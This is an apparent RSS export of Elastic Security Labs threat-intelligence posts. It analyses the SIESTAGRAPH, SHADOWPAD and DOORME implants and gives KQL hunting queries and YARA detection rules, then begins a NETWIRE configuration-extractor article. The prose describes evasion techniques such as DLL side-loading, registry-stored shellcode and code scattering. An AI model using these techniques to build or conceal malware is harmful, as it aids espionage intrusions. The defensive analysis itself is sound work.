<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte86fcacd5b15a739/6a8859ca24219053f73d9e6b/image16.jpg" alt="The TakeScreenShot method" title="The TakeScreenShot method" /></p>
<p>This function creates a new <strong>Bitmap</strong> object with the width and height of the primary screen's bounds. Then it creates a new <strong>Graphics</strong> object from the <strong>Bitmap</strong> object and uses the <strong>CopyFromScreen</strong> function to take a screenshot and copy it to the <strong>Graphics</strong> object.</p>
<p>It then creates a new <strong>MemoryStream</strong> object and uses the <strong>Save</strong> method of the <strong>Bitmap</strong> object to save the screenshot as a PNG image into the memory stream. The image in the memory stream is then converted to a Base64 encoded string using the <strong>Convert.ToBase64String</strong> method. The resulting Base64 string is then sent back to the attacker by saving it as an email draft.</p>
<h3 id="siestagraphsummary">SIESTAGRAPH Summary</h3>
<p>SIESTAGRAPH is a purpose-built and full-featured implant that acts as a proxy for the threat actor. What makes SIESTAGRAPH more than a generic implant is that it uses legitimate and common, but adversary-controlled, infrastructure to deliver remote capabilities on the infected host.</p>
<h2 id="shadowpadloadercodeanalysis">SHADOWPAD loader code analysis</h2>
<h3 id="introductiontologdll">Introduction to log.dll</h3>
<p>When Elastic Security Labs <a href="https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry#dll-side-loading">disclosed</a> REF2924 in December of 2022, we observed an unknown DLL. We have since collected and analyzed the DLL, concluding it is a loader for the <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad">SHADOWPAD</a> malware family.</p>
<p>The DLL, <strong>log.dll</strong> , was observed on two Domain Controllers and was being side-loaded by an 11-year-old version of the Bitdefender Crash Handler (compiled name: <strong>BDReinit.exe</strong> ), named <strong>13802 AR.exe</strong> (in our example). Once executed, SHADOWPAD copies itself to **C:\ProgramData\OfficeDriver** as *<em>svchost.exe</em>* before installing itself as a service. Once <strong>log.dll</strong> is loaded, it will spawn Microsoft Windows Media Player ( <strong>wmplayer.exe</strong> ) and **dllhost.exe,** injecting into them which triggers a memory shellcode detection for Elastic Defend.</p>
<p>At runtime, <strong>log.dll</strong> looks for the <strong>log.dll.dat</strong> file which contains the shellcode to be executed. Then <strong>log.dll</strong> will encrypt and store the <strong>shellcode</strong> in the registry and shred the original <strong>log.dll.dat</strong> file. If the file doesn’t exist it will skip this part.</p>
<p>Then the sample will load the shellcode from the registry, RWX map it, and execute it from memory. If the registry key doesn’t exist the sample will crash.</p>
<h3 id="executionflow-2">Execution flow</h3>
<p>Our version of the SHADOWPAD DLL expects to be sideloaded by an 11-year-old and vulnerable version of the BitDefender <strong>BDReinit.exe</strong> binary. The offset to the trampoline (<a href="https://gcc.gnu.org/onlinedocs/gcc-4.7.1/gccint/Trampolines.html">jump instructions</a>) in the vulnerable application is hard coded which means that the sample is tailored for this exact version of BitDefender’s binary ( <strong>386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd</strong> ). This side-loading behavior was previously <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">reported</a> by Positive Technologies.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8c09b81194856e78/6a7c986d437e0fa65edd5af4/image30.jpg" alt="log.dll’s hard coded offsets to BDReinit.exe" title="log.dll’s hard coded offsets to BDReinit.exe" /></p>
<p>For our analysis, we patched <strong>log.dll</strong> to execute without the BitDefender sideloading requirement.</p>
<h3 id="capabilities">Capabilities</h3>
<h4 id="obfuscation-1">Obfuscation</h4>
<p>The <strong>log.dll</strong> uses two lure functions to bypass automatic analysis.</p>
<p>We define lure functions as benign and not related to malware capabilities, but intended to evade defenses, obfuscate the true capabilities of the malware, and frustrate analysis. They may trick time-constrained sandbox analysis by showcasing benign behavior while exhausting the analysis interval of the sandbox.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbe38ddea33112ecc/6a7c9870e02fac85965d0a74/image8.jpg" alt="log.dll’s lure functions" title="log.dll’s lure functions" /></p>
<p><strong>log.dll</strong> incorporates a code-scattering obfuscation technique to frustrate static analysis, however, this doesn't protect the binary from dynamic analysis.</p>
<p>This technique involves fragmenting the code into gadgets and distributing those gadgets throughout the binary. Each gadget is implemented as a single instruction followed by a call to a “resolver” function.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb48f8080e5b3e99d/6a7c987380ee38d27660d600/image12.jpg" alt="Obfuscated function prologue 1/2" title="Obfuscated function prologue 1/2" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4c0af0f3937d0d22/6a7c98758fc2d02d993e8d97/image24.jpg" alt="Obfuscated function prologue 2/2" title="Obfuscated function prologue 2/2" /></p>
<p>The resolver function of each call resolves the address of the next gadget and passes execution.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb521e4ad15c92999/6a7c987873d9bdc8fd29811e/image10.jpg" alt="Resolver function computing the next gadget address" title="Resolver function computing the next gadget address" /></p>
<p>The obfuscation pattern is simple and a trace can be used to recover the original instructions:</p>
<pre><code>**result = []
for i, x in enumerate(trace):
 if "ret" in x:
 result.append(trace[i + 1])**
</code></pre>
<h4 id="apiloading">API loading</h4>
<p>The sample uses the common <a href="https://0xevilc0de.com/2018/02/25/locating-dll-name-from-the-process-environment-block-peb/">Ldr crawling technique</a> to find the address of <strong>kernel32.dll.</strong></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt294e0d14ed910a46/6a7c987a3ce8e2163acefc32/image17.jpg" alt="Searching for the process module list in the PEB’s Ldr" title="Searching for the process module list in the PEB’s Ldr" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5bc0bf93086c6b0e/6a7c987d227b1c2a31592c13/image18.jpg" alt="Searching for kernel32.dll by name in the module list" title="Searching for kernel32.dll by name in the module list" /></p>
<p>Next, <strong>log.dll</strong> parses the exports of <strong>kernel32.dll</strong> to get the address of the <strong>LoadLibraryA</strong> and <strong>GetProcAddress</strong> functions. It uses <strong>GetProcAddress</strong> to resolve imports as needed.</p>
<h4 id="persistence">Persistence</h4>
<p>The sample expects to find a file called <strong>log.dll.dat</strong> in its root directory using the <strong>FindFirstFile</strong> and <strong>FindNextFile</strong> APIs. Once <strong>log.dll.dat</strong> is located, it is loaded, encrypted, and stored in the registry under the <strong><code>HKEY\_LOCAL\_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\\{1845df8d-241a-a0e4-02ea341a79878897\}\D752E7A8\}</code></strong> registry value.</p>
<p>This registry value seems to be hard coded. If the file isn't found and the hard coded registry key doesn’t exist, the application crashes.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta899c4e63389a5c5/6a7c98805967e565b85d7a47/image31.jpg" alt="Payload is stored encrypted in the registry" title="Payload is stored encrypted in the registry" /></p>
<p>Once the contents of <strong>log.dll.dat</strong> have been encrypted and embedded in the registry, the original file will be deleted. On subsequent runs, the shellcode will be loaded directly from the registry key.</p>
<h4 id="shellcode">Shellcode</h4>
<p>To execute the shellcode the sample will allocate an <a href="https://www.ired.team/offensive-security/defense-evasion/finding-all-rwx-protected-memory-regions">RWX-protected memory region</a> using the <strong>VirtualAlloc</strong> Windows API, then write the shellcode to the memory region and pass execution to it with an ESI instruction call.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4d2929873c3e6dac/6a7c988377b034596e3f9aa9/image25.jpg" alt="log.dll allocate RWX memory for the shellcode" title="log.dll allocate RWX memory for the shellcode" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt286dd3ac02245027/6a7c9886e88c65f1f4005d51/image7.png" alt="log.dll pass execution to the shellcode" title="log.dll pass execution to the shellcode" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4d594648bbf6c2ca/6a7c98881967ea5fc032ad6b/image23.jpg" alt="First instruction of the shellcode" title="First instruction of the shellcode" /></p>
<h3 id="othershadowpadresearch">Other SHADOWPAD research</h3>
<p>While researching shared code and techniques, Elastic Security Labs identified a <a href="https://www.secureworks.com/research/shadowpad-malware-analysis">publication from SecureWorks’ CTU</a> that describes the BitDefender sideload vulnerability. Additionally, SecureWorks has shared information describing the functionality of a file, <strong>log.dll.dat</strong> , which is consistent with our observations. The team at <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/">Positive Technologies ETC</a> also <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">published detailed research</a> on SHADOWPAD which aligns with our research.</p>
<h3 id="shadowpadsummary">SHADOWPAD Summary</h3>
<p>SHADOWPAD is a malware family that SecureWorks CTU has associated with the <a href="https://www.secureworks.com/research/threat-profiles/bronze-university">BRONZE UNIVERSITY</a> threat group and Positive Technologies ETC has associated with the <a href="https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf">Winnti group</a>.</p>
<h2 id="campaignandadversarymodeling">Campaign and adversary modeling</h2>
<p>Our analysis of Elastic telemetry, combined with open sources and compared with third-party reporting, concludes a single nationally-aligned threat group is likely responsible. We identified relationships involving shared malware, techniques, victimology, and observed adversary priorities. Our confidence assessments vary depending on the sourcing and collection fidelity.</p>
<p>We identified significant overlaps in the work of Positive Technologies ETC and <a href="https://www.secureworks.com/research/shadowpad-malware-analysis">SecureWorks CTU</a> while researching the DOORME, SIESTAGRAPH, and SHADOWPAD implants, and believe these are related activity clusters.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf70dd46c6a59682b/6a7c988b6c6eac12cef0e8e3/image32.jpg" alt="REF2924 intersections and associations" title="REF2924 intersections and associations" /></p>
<p>In the following analysis, we’ll discuss the four campaigns that we associate with this intrusion set including sourcing, intersections, and how each supported our attribution across all campaigns.</p>
<ol>
<li>Winnti - reported by Positive Technologies, January 2021</li>
<li>Undisclosed REF, Winnti - observed by Elastic Security Labs, March 2022</li>
<li>REF2924, ChamelGang, Winnti - reported by Elastic Security Labs, December 2022</li>
<li>Undisclosed REF, ChamelGang - observed by Elastic Security Labs, December 2022</li>
</ol>
<h3 id="winnti">Winnti</h3>
<p>In January of 2021, the team at Positive Technologies ETC <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">published research</a> that overlapped with our observations for REF2924; specifically SHADOWPAD malware deployed with the file names <strong>log.dll</strong> and <strong>log.dll.dat</strong> and using the same sample of BitDefender we observed as a DLL injection vehicle.</p>
<p>While the research from Positive Technologies ETC covered a different activity cluster, the adversary deployed a similar variant of SHADOWPAD, used a similar file naming methodology, and leveraged similar procedure-level capabilities; these consistencies contribute to our conclusion that REF2924 is related. In the graphic above, we use a dashed line to represent third-party consensus and moderate confidence because, while the reporting appears thorough and sound, we cannot independently validate all findings.</p>
<h3 id="undisclosedrefwinnti">Undisclosed REF, Winnti</h3>
<p>In early 2022, Elastic observed a short-lived intrusion into a telecommunications provider in Afghanistan. Using code analysis and event sampling, we internally attributed these sightings to WINNTI malware implants and external research overlaps with the <a href="https://attack.mitre.org/groups/G0044/">Winnti Group</a>. We continue to track this intrusion set, independently of and in relation to REF2924 observations.</p>
<h3 id="ref2924chamelgangwinnti">REF2924, ChamelGang, Winnti</h3>
<p>In early December 2022, we <a href="https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">observed</a> Powershell commands used to collect and export mailboxes from an internet-connected Microsoft Exchange server for the Foreign Affairs Office of an Association of Southeast Asian Nations (ASEAN) member. Our research identified the presence of the DOORME backdoor, SHADOWPAD, and a new malware implant we call SIESTAGRAPH (discussed in the SIESTAGRAPH code analysis section above).</p>
<p>In researching the events of REF2924, we believe they are consistent with details noted by <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/">Positive Technologies' research into ChamelGang</a>, and likely represent the actions of one group with shared goals.</p>
<h3 id="undisclosedrefchamelgang">Undisclosed REF, ChamelGang</h3>
<p>Using the DOORME IIS backdoor that we collected during research into REF2924, we developed a scanner that identified the presence of DOORME on an internet-connected Exchange server at a second telecommunications provider in Afghanistan.</p>
<h3 id="campaignassociations">Campaign associations</h3>
<p>Building associations between events, especially when relying on third-party reporting, is a delicate balance between surfacing value from specific observations and suppressing noise from circular reporting. Details reported by research teams and consisting of atomic indicators, techniques, procedures, and capabilities provide tremendous value in spotting associations between activity clusters. Elements of evidence that are repeated multiple times via circular reporting can lead to over-weighting that evidence. In analyzing these activity clusters, we have specific observations from our telemetry (host artifacts, capabilities, functionality, and adversary techniques) and third-party reporting consistent with our findings.</p>
<p>We use third-party reporting as supporting, but not factual, evidence to add context to our specific observations. It may be possible to verify a third-party had firsthand visibility of a threat, but that’s a rare luxury. We used estimative language in building associations where appropriate.</p>
<p>To uncover potential associations among these campaigns, we weighed host artifacts, tools, and TTPs more heavily than transitory atomic indicators like hashes, IP addresses, and domains.</p>
<p>We’ll discuss notable (non-exhaustive) overlaps in the following section.</p>
<h4 id="campaigns1and3">Campaigns 1 and 3</h4>
<p>Campaigns 1 (<a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">Winnti</a>) and 3 (<a href="https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">REF2924, ChamelGang, Winnti</a>) are related by several elements: the use of the SHADOWPAD malware family, the specific file names ( <strong>log.dll</strong> and <strong>log.dll.dat</strong> ), and the injection technique using the same BitDefender hash.</p>
<h4 id="campaigns3and4">Campaigns 3 and 4</h4>
<p>Campaigns 3 (REF2924, ChamelGang, Winnti) and 4 (Undisclosed REF, ChamelGang) are related by the presence of a specifically configured DOORME backdoor and a shared national strategic interest for the adversary.</p>
<p>Using network scan results for about 180k publicly-accessible Exchange servers, and specific authentication elements uncovered while reverse engineering REF2924’s DOORME sample, we were able to identify an identical DOORME configuration at a second telecommunications provider in Afghanistan. This was a different victim than Campaign 2 (Undisclosed REF, Winnti).</p>
<p>While the DOORME IIS backdoor is not widely prevalent, simply having DOORME in your environment isn’t a strong enough data point to build an association. The presence of this DOORME configuration, when compared to a search of 180k other Exchange servers and the moderate confidence of the national strategic interests, led us to associate Campaigns 3 and 4 together with high confidence and that Campaign 4 was also a part of the same threat group.</p>
<h2 id="summary">Summary</h2>
<p>DOORME allows for a threat actor to access a targeted network through the use of a backdoored IIS module on an internet-connected server. DOORME includes the capability to collect information about the infected host, upload shellcode chunks to evade detection, and execute shellcode in memory.</p>
<p>SIESTAGRAPH is an implant discovered by Elastic Security Labs that uses the Microsoft Graph API for command and control. The Graph API is used for interacting with Microsoft Office 365, so C2 communication would be largely masked by legitimate network traffic. Elastic Security Labs has reported the tenant ID hard coded into SIESTAGRAPH to Microsoft.</p>
<p>Based on our code analysis and the limited internet presence of DOORME and SIESTAGRAPH, we believe that this intrusion set is used by a limited distribution, or singular, threat actor.</p>
<p>SHADOWPAD is a modular malware family that is used as a way to load and execute shellcode onto a victim system. While it has been tracked since 2017, SHADOWPAD continues to be a capable and popular remote access and persistence tool.</p>
<p>The REF2924 intrusion set, using SIESTAGRAPH, DOORME, SHADOWPAD, and the system binary proxy execution technique (among others) represents an attack group that appears focused on priorities that, when observed across campaigns, align with a sponsored national strategic interest.</p>
<h2 id="detections">Detections</h2>
<h3 id="huntingqueries">Hunting queries</h3>
<p>Hunting queries are used as a starting point for potentially malicious events, but because every environment is different, an investigation should be completed.</p>
<p>The following KQL query can be used to hunt for additional behaviors related to SIESTAGRAPH. This query looks for processes that are making DNS queries to graph.microsoft.com where the process does not have a trusted code-signing certificate or the process is not signed by Microsoft.</p>
<pre><code>dns.question.name : "graph.microsoft.com" and (process.code_signature.trusted : “false” or not (process.code_signature.subject_name : "Microsoft Windows" or process.code_signature.subject_name : "Microsoft Windows Publisher" or process.code_signature.subject_name : "Microsoft Corporation")) and process.name : *
</code></pre>
<h3 id="signatures">Signatures</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DoorMe.yar">Windows.Trojan.DoorMe</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SiestaGraph.yar">Windows.Trojan.SiestaGraph</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_ShadowPad.yar">Windows.Trojan.ShadowPad</a></li>
</ul>
<h3 id="yararules">YARA rules</h3>
<h4 id="thedoormeiismodule">The DOORME IIS module</h4>
<pre><code>rule Windows_Trojan_DoorMe {
    meta:
        author = "Elastic Security"
        creation_date = "2022-12-09"
        last_modified = "2022-12-15"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "DoorMe"
        threat_name = "Windows.Trojan.DoorMe"
        license = "Elastic License v2"
    strings:
        $seq_aes_crypto = { 8B 6C 24 ?? C1 E5 ?? 8B 5C 24 ?? 8D 34 9D ?? ?? ?? ?? 0F B6 04 31 32 44 24 ?? 88 04 29 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 32 44 24 ?? 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 F8 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 E0 88 44 29 ?? 8B 74 24 ?? }
        $seq_copy_str = { 48 8B 44 24 ?? 48 89 58 ?? 48 89 F1 4C 89 F2 49 89 D8 E8 ?? ?? ?? ?? C6 04 1E ?? }
        $seq_md5 = { 89 F8 44 21 C8 44 89 C9 F7 D1 21 F1 44 01 C0 01 C8 44 8B AC 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 44 89 44 24 ?? 46 8D 04 28 41 81 C0 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 41 C1 C0 ?? 45 01 C8 44 89 C1 44 21 C9 44 89 C2 F7 D2 21 FA 48 89 BC 24 ?? ?? ?? ?? 8D 2C 1E 49 89 DC 01 D5 01 E9 81 C1 ?? ?? ?? ?? C1 C1 ?? 44 01 C1 89 CA 44 21 C2 89 CD F7 D5 44 21 CD 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 8D 1C 07 01 EB 01 DA 81 C2 ?? ?? ?? ?? C1 C2 ?? }
        $seq_calc_key = { 31 FF 48 8D 1D ?? ?? ?? ?? 48 83 FF ?? 4C 89 F8 77 ?? 41 0F B6 34 3E 48 89 F1 48 C1 E9 ?? 44 0F B6 04 19 BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 E6 ?? 44 0F B6 04 1E BA ?? ?? ?? ?? 48 8B 4D ?? E8 ?? ?? ?? ?? 48 83 C7 ?? }
        $seq_base64 = { 8A 45 ?? 8A 4D ?? C0 E0 ?? 89 CA C0 EA ?? 80 E2 ?? 08 C2 88 55 ?? C0 E1 ?? 8A 45 ?? C0 E8 ?? 24 ?? 08 C8 88 45 ?? 41 83 C4 ?? 31 F6 44 39 E6 7D ?? 66 90 }
        $str_0 = ".?AVDoorme@@" ascii fullword
    condition:
        3 of ($seq*) or 1 of ($str*)
}
</code></pre>
<h4 id="thesiestagraphimplant">The SIESTAGRAPH implant</h4>
<pre><code>rule Windows_Trojan_SiestaGraph {
    meta:
        author = "Elastic Security"
        creation_date = "2022-12-14"
        last_modified = "2022-12-15"
        os = "windows"
        arch_context = "x86"
        category_type = “Trojan”
        family = “SiestaGraph”
        threat_name = "Windows.Trojan.SiestaGraph"
        license = "Elastic License v2"
    strings:
        $a1 = "downloadAsync" ascii nocase fullword
        $a2 = "UploadxAsync" ascii nocase fullword
        $a3 = "GetAllDriveRootChildren" ascii fullword
        $a4 = "GetDriveRoot" ascii fullword
        $a5 = "sendsession" wide fullword
        $b1 = "ListDrives" wide fullword
        $b2 = "Del OK" wide fullword
        $b3 = "createEmailDraft" ascii fullword
        $b4 = "delMail" ascii fullword
    condition:
        all of ($a*) and 2 of ($b*)
}
</code></pre>
<h4 id="theshadowpadmalwarefamily">The SHADOWPAD malware family</h4>
<pre><code>rule Windows_Trojan_ShadowPad_1 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-01-23"
        last_modified = "2023-01-31"
        description = "Target SHADOWPAD obfuscation loader+payload"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "ShadowPad"
        threat_name = "Windows.Trojan.ShadowPad"
        license = "Elastic License v2"
    strings:
        $a1 = { 87 0? 24 0F 8? }
        $a2 = { 9C 0F 8? }
        $a3 = { 03 0? 0F 8? }
        $a4 = { 9D 0F 8? }
        $a5 = { 87 0? 24 0F 8? }
    condition:
        all of them
}
rule Windows_Trojan_Shadowpad_2 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-01-31"
        last_modified = "2023-01-31"
        description = "Target SHADOWPAD loader"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "Shadowpad"
        threat_name = "Windows.Trojan.Shadowpad"
        license = "Elastic License v2"
    strings:
        $a1 = "{%8.8x-%4.4x-%4.4x-%8.8x%8.8x}"
    condition:
        all of them
}
rule Windows_Trojan_Shadowpad_3 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-01-31"
        last_modified = "2023-01-31"
        description = "Target SHADOWPAD payload"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "Shadowpad"
        threat_name = "Windows.Trojan.Shadowpad"
        license = "Elastic License v2"
    strings:
        $a1 = "hH#whH#w" fullword
        $a2 = "Yuv~YuvsYuvhYuv]YuvRYuvGYuv1:tv&lt;Yuvb#tv1Yuv-8tv&amp;Yuv" fullword
        $a3 = "pH#wpH#w" fullword
        $a4 = "HH#wHH#wA" fullword
        $a5 = "xH#wxH#w:$" fullword
        $re1 = /(HTTPS|TCP|UDP):\/\/[^:]+:443/
    condition:
        4 of them
}
</code></pre>
<h2 id="references">References</h2>
<ul>
<li><a href="https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry</a></li>
<li><a href="https://www.microsoft.com/en-us/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/">https://www.microsoft.com/en-us/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad">https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad</a></li>
<li><a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/</a></li>
<li><a href="https://www.secureworks.com/research/shadowpad-malware-analysis">https://www.secureworks.com/research/shadowpad-malware-analysis</a></li>
<li><a href="https://www.secureworks.com/research/threat-profiles/bronze-university">https://www.secureworks.com/research/threat-profiles/bronze-university</a></li>
<li><a href="https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf">https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf</a></li>
<li><a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/">https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/</a></li>
</ul>
<h2 id="indicators">Indicators</h2>
<p>Artifacts are available from the <a href="https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry#observables">previously published REF2924 research</a>.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/update-to-the-REF2924-intrusion-set-and-related-campaigns</link>
    <guid isPermaLink="false">update-to-the-REF2924-intrusion-set-and-related-campaigns</guid>
    <category><![CDATA[Threat Intelligence]]></category>
    <dc:creator><![CDATA[Salim Bitam,Remco Sprooten,Cyril François,Andrew Pease,Devon Kerr,Seth Goodwin]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt65e479e6a866ff1f/6a7c988ee88c65a5e6005d55/photo-edited-02@2x.jpg" length="0" type="image/jpeg"/>
    <pubDate>Tue, 07 Feb 2023 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[NETWIRE Dynamic Configuration Extraction]]></title>
    <description><![CDATA[Elastic Security Labs discusses the NETWIRE trojan and is releasing a tool to dynamically extract configuration files.]]></description>
    <content:encoded><![CDATA[<h2 id="keytakeaways">Key takeaways</h2>
<ul>
<li>NETWIRE has shown an increase in prevalence over the last year</li>
<li>Elastic Security Labs created an extractor to pull out configuration data from NETWIRE files and memory dumps targeting the functions the malware uses to extract its encrypted data</li>
<li>The NETWIRE extractor is freely available for download</li>
</ul>
<blockquote>
  <p>To download the NETWIRE configuration extractor, check out our post on the tool:</p>
  <ul>
  <li><a href="https://www.elastic.co/security-labs/netwire-configuration-extractor">NETWIRE configuration extractor</a></li>
  </ul>
</blockquote>
<h2 id="preamble">Preamble</h2>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire">NETWIRE</a> is a Remote Access Tool (RAT) that has been used since at least 2014. It is a publicly available commodity malware and has been observed being used by financially motivated and nation-state actors.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte91ad1dc8dea9a6c/6a7d837e448e4edf0f5bdb7a/image1.jpg" alt="NETWIRE observations over the past 12-months" title="NETWIRE observations over the past 12-months" /></p>
<p>In the second half of 2022, we noticed an uptick in the prevalence of NETWIRE usage in our telemetry data. This prompted the Elastic Security Labs team to develop a configuration extractor to assist the security community in collecting atomic indicators within the configurations. Using this extractor will support threat tracking and improve detection, prevention, and response times.</p>
<h2 id="extractor">Extractor</h2>
<p>The NETWIRE RAT uses the <a href="https://en.wikipedia.org/wiki/RC4">RC4 symmetric encryption</a> algorithm to protect its configuration which is encrypted in the <strong>.data</strong> section along with the 16 bytes long RC4 decryption key.</p>
<p>While reversing our samples the analysts noticed that for both the <strong>crypto::rc4_init_sbox</strong> and <strong>crypto::rc4_decrypt</strong> functions the second argument (#2 in the image below) is always a memory address for the desired encrypted configuration value, and the third argument (#3) is an immediate value written to the memory stack before the call which represents the size of the encrypted string.</p>
<p>It was also noted that the function calls are one after the other. This is important to allow us to structure the extractor to look for these functions sequentially.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt216d47cc066691a1/6a7d838105b7b5285a188b8a/image4.png" alt="NETWIRE's assembly code for the decryption function" title="NETWIRE's assembly code for the decryption function" /></p>
<p>With <strong>$key</strong> (from the above image) in mind, we created YARA rules to identify the location of the key and encrypted configuration values.</p>
<p>![YARA rule section that identifies the key and encrypted configuration](/assets/images/netwire-dynamic-configuration-extraction/image5.jpg</p>
<p>With this information we can then use <a href="http://www.capstone-engine.org/">Capstone</a> to:</p>
<ol>
<li><p>Locate the function responsible for decrypting the configuration using YARA.</p></li>
<li><p>Disassemble the function using Capstone.</p></li>
<li><p>Extract the RC4 key address and the encrypted configuration field addresses.</p></li>
<li><p>Extract the size of the configuration field.</p></li>
<li><p>RC4 decrypt the encrypted fields and rebuild the configuration.</p></li>
</ol>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0d2106af0fdc85fa/6a7d83848fc2d0d42e3eb8df/image2.jpg" alt="Locating the RC4 key address and the encrypted configuration" title="Locating the RC4 key address and the encrypted configuration" /></p>
<p>![RC4 decrypting the configuration](/assets/images/netwire-dynamic-configuration-extraction/image5.jpg</p>
<p>Once we have recreated the configuration, we can use the extractor to pull out several parameters used by NETWIRE, as well as a few basic file characteristics:</p>
<ul>
<li><strong>Active Setup Key</strong> : <a href="https://attack.mitre.org/techniques/T1547/014/">Active Setup</a> registry key to achieve persistence.</li>
<li><strong>C2 IP list</strong> : List of command and control (C2) server domains or IP addresses.</li>
<li><strong>Host ID</strong> : A unique identifier that is assigned to the infected machine.</li>
<li><strong>Installation path</strong> : The location where the malware will be installed.</li>
<li><strong>Keylogger logs directory</strong> : The location where the keylogging log file will be stored.</li>
<li><strong>Mutex</strong> : Mutex name, to create a synchronization object to ensure only one instance of the sample is running on the machine.</li>
<li><strong>Password</strong> : Static password to generate AES key used for encrypting the communication between the malware and the C2 server.</li>
<li><strong>Run registry key entry</strong> : Name of the entry in the <a href="https://attack.mitre.org/techniques/T1547/001/">run registry</a>, used for persistence.</li>
<li><strong>Sleep in seconds</strong> : The amount of time the malware sleeps.</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf6f24aca3391a43a/6a7d83866c6eac927df11399/image6.jpg" alt="Sample output from configuration extractor" title="Sample output from configuration extractor" /></p>
<p>The configuration extractor accepts four parameters:</p>
<ul>
<li><strong>-f</strong> : to specify a single NETWIRE sample</li>
<li><strong>-d</strong> : To specify a directory of NETWIRE samples</li>
<li><strong>-o</strong> : To write the configuration in JSON format to the specified file</li>
<li><strong>--all-config</strong> : To print the unparsed raw decrypted configuration</li>
</ul>
<h2 id="analysis">Analysis</h2>
<p>We’ve used this extractor to examine a set of samples from the previous 180 days to extract indicators for further enrichment and analysis.</p>
